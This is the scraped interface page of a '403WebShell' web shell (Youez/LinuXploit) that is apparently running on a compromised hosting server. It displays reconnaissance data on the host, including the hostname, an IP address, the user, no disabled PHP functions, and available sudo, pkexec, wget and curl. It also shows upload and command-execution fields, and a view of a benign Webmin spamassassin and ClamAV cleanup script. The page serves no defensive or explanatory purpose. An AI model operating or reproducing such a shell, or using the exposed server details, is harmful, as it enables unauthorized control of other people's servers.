Uname:Linux server2.hostofiraq.site 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64

Base Dir : /home/iscmbt-kufa-atu/public_html

User : iscmbt-kufa-atu


403WebShell
403Webshell
Server IP : 89.117.53.150  /  Your IP : 216.73.216.11
Web Server : Apache
System : Linux server2.hostofiraq.site 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
User : iscmbt-kufa-atu ( 1014)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/webmin/virtual-server/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/webmin/virtual-server/spamconfig.pl
#!/usr/bin/perl
# For each domain with spam enabled, update the links in it's spamassassin
# config directory to match the global config.
# Also, delete /tmp/clamav-* directories that have not been accessed in more
# than 1 day.

package virtual_server;
$main::no_acl_check++;
$no_virtualmin_plugins = 1;
require './virtual-server-lib.pl';

# Create spamassassin config links
foreach my $d (grep { $_->{'spam'} } &list_domains()) {
	&create_spam_config_links($d);
	}

# Cleanup ClamAV crap in /tmp
$cutoff = time() - 24*60*60;
opendir(TMP, "/tmp");
foreach my $f (readdir(TMP)) {
	$path = "/tmp/$f";
	if ($f =~ /^clamav-([0-9a-f]+)$/ && -d $path) {
		# A clamav-* directory .. have any files in it been
		# accessed lately?
		my $newest = 0;
		opendir(CLAM, $path);
		foreach my $c (readdir(CLAM)) {
			next if ($c eq "." || $c eq "..");
			$cpath = "$path/$c";
			@st = stat($cpath);
			$newest = $st[8] if ($st[8] > $newest);
			$newest = $st[9] if ($st[9] > $newest);
			$newest = $st[10] if ($st[10] > $newest);
			}
		closedir(CLAM);
		if ($newest < $cutoff) {
			# This whole directory needs to go
			&execute_command("rm -rf ".quotemeta($path));
			}
		}
	}
closedir(TMP);

Youez - 2016 - github.com/yon3zu
LinuXploit